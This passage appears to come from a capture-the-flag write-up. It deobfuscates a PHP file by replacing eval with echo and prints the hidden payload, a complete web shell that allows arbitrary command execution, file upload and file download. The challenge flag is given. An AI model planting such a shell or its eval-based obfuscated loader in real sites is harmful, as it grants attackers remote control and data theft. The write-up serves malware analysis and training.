&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">strlen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$iyzQ5h8qf6&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="nv">$i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$r&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$r&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nv">$liGBOKxsOGMz&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nv">$r&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="nv">$iyzQ5h8qf6&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nv">$r&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nv">$i&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$bhrTeZXazQ&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">trim&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">implode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$liGBOKxsOGMz&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$bhrTeZXazQ&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;?&amp;gt;&lt;/span>&lt;span class="si">$bhrTeZXazQ&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">eval&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="nv">$bhrTeZXazQ&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That doesn&amp;rsquo;t look nice, let&amp;rsquo;s replace &lt;code>eval&lt;/code> by &lt;code>echo&lt;/code> and execute this to see decoded codes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">&amp;lt;?php
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_GET[&amp;#39;download&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $file = $_GET[&amp;#39;download&amp;#39;];
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (file_exists($file)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Description: File Transfer&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Type: application/octet-stream&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Disposition: attachment; filename=&amp;#34;&amp;#39;.basename($file).&amp;#39;&amp;#34;&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Expires: 0&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Cache-Control: must-revalidate&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Pragma: public&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> header(&amp;#39;Content-Length: &amp;#39; . filesize($file));
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> readfile($file);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> exit;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;!-- Latest compiled and minified CSS --&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;!-- jQuery library --&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;script src=&amp;#34;https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;!-- Latest compiled JavaScript --&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;script src=&amp;#34;http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;?php
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">function printPerms($file) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $mode = fileperms($file);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x1000 ) { $type=&amp;#39;p&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x2000 ) { $type=&amp;#39;c&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x4000 ) { $type=&amp;#39;d&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x6000 ) { $type=&amp;#39;b&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0x8000 ) { $type=&amp;#39;-&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0xA000 ) { $type=&amp;#39;l&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if( $mode &amp;amp; 0xC000 ) { $type=&amp;#39;s&amp;#39;; }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else $type=&amp;#39;u&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $owner[&amp;#34;read&amp;#34;] = ($mode &amp;amp; 00400) ? &amp;#39;r&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $owner[&amp;#34;write&amp;#34;] = ($mode &amp;amp; 00200) ? &amp;#39;w&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $owner[&amp;#34;execute&amp;#34;] = ($mode &amp;amp; 00100) ? &amp;#39;x&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $group[&amp;#34;read&amp;#34;] = ($mode &amp;amp; 00040) ? &amp;#39;r&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $group[&amp;#34;write&amp;#34;] = ($mode &amp;amp; 00020) ? &amp;#39;w&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $group[&amp;#34;execute&amp;#34;] = ($mode &amp;amp; 00010) ? &amp;#39;x&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $world[&amp;#34;read&amp;#34;] = ($mode &amp;amp; 00004) ? &amp;#39;r&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $world[&amp;#34;write&amp;#34;] = ($mode &amp;amp; 00002) ? &amp;#39;w&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $world[&amp;#34;execute&amp;#34;] = ($mode &amp;amp; 00001) ? &amp;#39;x&amp;#39; : &amp;#39;-&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x800 ) $owner[&amp;#34;execute&amp;#34;] = ($owner[&amp;#39;execute&amp;#39;]==&amp;#39;x&amp;#39;) ? &amp;#39;s&amp;#39; : &amp;#39;S&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x400 ) $group[&amp;#34;execute&amp;#34;] = ($group[&amp;#39;execute&amp;#39;]==&amp;#39;x&amp;#39;) ? &amp;#39;s&amp;#39; : &amp;#39;S&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if( $mode &amp;amp; 0x200 ) $world[&amp;#34;execute&amp;#34;] = ($world[&amp;#39;execute&amp;#39;]==&amp;#39;x&amp;#39;) ? &amp;#39;t&amp;#39; : &amp;#39;T&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s=sprintf(&amp;#34;%1s&amp;#34;, $type);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s.=sprintf(&amp;#34;%1s%1s%1s&amp;#34;, $owner[&amp;#39;read&amp;#39;], $owner[&amp;#39;write&amp;#39;], $owner[&amp;#39;execute&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s.=sprintf(&amp;#34;%1s%1s%1s&amp;#34;, $group[&amp;#39;read&amp;#39;], $group[&amp;#39;write&amp;#39;], $group[&amp;#39;execute&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $s.=sprintf(&amp;#34;%1s%1s%1s&amp;#34;, $world[&amp;#39;read&amp;#39;], $world[&amp;#39;write&amp;#39;], $world[&amp;#39;execute&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> return $s;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$dir = $_GET[&amp;#39;dir&amp;#39;];
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_POST[&amp;#39;dir&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $dir = $_POST[&amp;#39;dir&amp;#39;];
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$file = &amp;#39;&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if ($dir == NULL or !is_dir($dir)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (is_file($dir)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;enters&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $file = $dir;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo $file;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $dir = &amp;#39;./&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$dir = realpath($dir.&amp;#39;/&amp;#39;.$value);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">##flag = HTB{W0w_ROt_A_DaY}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">$dirs = scandir($dir);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;h2&amp;gt;Viewing directory &amp;#34; . $dir . &amp;#34;&amp;lt;/h2&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;\n&amp;lt;br&amp;gt;&amp;lt;form action=&amp;#39;&amp;#34;.$_SERVER[&amp;#39;PHP_SELF&amp;#39;].&amp;#34;&amp;#39; method=&amp;#39;GET&amp;#39;&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;hidden&amp;#39; name=&amp;#39;dir&amp;#39; value=&amp;#34;.$dir.&amp;#34; /&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;text&amp;#39; name=&amp;#39;cmd&amp;#39; autocomplete=&amp;#39;off&amp;#39; autofocus&amp;gt;\n&amp;lt;input type=&amp;#39;submit&amp;#39; value=&amp;#39;Execute&amp;#39;&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/form&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;\n&amp;lt;br&amp;gt;\n&amp;lt;div class=&amp;#39;navbar-form&amp;#39;&amp;gt;&amp;lt;form action=&amp;#39;&amp;#34;.$_SERVER[&amp;#39;PHP_SELF&amp;#39;].&amp;#34;&amp;#39; method=&amp;#39;POST&amp;#39; enctype=&amp;#39;multipart/form-data&amp;#39;&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;hidden&amp;#39; name=&amp;#39;dir&amp;#39; value=&amp;#39;&amp;#34;.$_GET[&amp;#39;dir&amp;#39;].&amp;#34;&amp;#39;/&amp;gt; &amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;input type=&amp;#39;file&amp;#39; name=&amp;#39;fileToUpload&amp;#39; id=&amp;#39;fileToUpload&amp;#39;&amp;gt;\n&amp;lt;br&amp;gt;&amp;lt;input type=&amp;#39;submit&amp;#39; value=&amp;#39;Upload File&amp;#39; name=&amp;#39;submit&amp;#39;&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/div&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_POST[&amp;#39;submit&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> $uploadDirectory = $dir.&amp;#39;/&amp;#39;.basename($_FILES[&amp;#39;fileToUpload&amp;#39;][&amp;#39;name&amp;#39;]);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (file_exists($uploadDirectory)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b style=&amp;#39;color:red&amp;#39;&amp;gt;Error. File already exists in &amp;#34;.$uploadDirectory.&amp;#34;.&amp;lt;/b&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;/br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else if (move_uploaded_file($_FILES[&amp;#39;fileToUpload&amp;#39;][&amp;#39;tmp_name&amp;#39;], $uploadDirectory)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#39;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;File &amp;#39;.$_FILES[&amp;#39;fileToUpload&amp;#39;][&amp;#39;name&amp;#39;].&amp;#39; uploaded successfully in &amp;#39;.$dir.&amp;#39; !&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> } else {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#39;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b style=&amp;#34;color:red&amp;#34;&amp;gt;Error uploading file &amp;#39;.$uploadDirectory.&amp;#39;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">if (isset($_GET[&amp;#39;cmd&amp;#39;])) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Result of command execution: &amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> exec(&amp;#39;cd &amp;#39;.$dir.&amp;#39; &amp;amp;&amp;amp; &amp;#39;.$_GET[&amp;#39;cmd&amp;#39;], $cmdresult);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> foreach ($cmdresult as $key =&amp;gt; $value) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;$value \n&amp;lt;br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;br&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;table class=&amp;#34;table table-hover table-bordered&amp;#34;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;thead&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;tr&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;th&amp;gt;Name&amp;lt;/th&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;th&amp;gt;Owner&amp;lt;/th&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;th&amp;gt;Permissions&amp;lt;/th&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;/tr&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;/thead&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> &amp;lt;tbody&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;?php
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">foreach ($dirs as $key =&amp;gt; $value) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;tr&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> if (is_dir(realpath($dir.&amp;#39;/&amp;#39;.$value))) {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;#39;&amp;#34;. $_SERVER[&amp;#39;PHP_SELF&amp;#39;] . &amp;#34;?dir=&amp;#34;. realpath($dir.&amp;#39;/&amp;#39;.$value) . &amp;#34;/&amp;#39;&amp;gt;&amp;#34;. $value . &amp;#34;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;#34;. posix_getpwuid(fileowner($dir.&amp;#39;/&amp;#39;.$value))[name] . &amp;#34;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;#34; . printPerms($dir) . &amp;#34;&amp;lt;/td&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> else {
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;#39;&amp;#34;. $_SERVER[&amp;#39;PHP_SELF&amp;#39;] . &amp;#34;?download=&amp;#34;. realpath($dir.&amp;#39;/&amp;#39;.$value) . &amp;#34;&amp;#39;&amp;gt;&amp;#34;. $value . &amp;#34;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;#34;. posix_getpwuid(fileowner($dir.&amp;#39;/&amp;#39;.$value))[name] .&amp;#34;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; &amp;#34; . printPerms($dir) . &amp;#34;&amp;lt;/td&amp;gt;\n&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err"> echo &amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">}
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/tbody&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">echo &amp;#34;&amp;lt;/table&amp;gt;&amp;#34;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;/div&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">&amp;lt;/html&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking at the comment, we can see the flag there.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{W0w_ROt_A_DaY}&lt;/strong>&lt;/p>
&lt;h2 id="relic-maps">Relic Maps&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1oyfMzfnOM69pQdIVi9j63dkLZ2xvVkgq/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
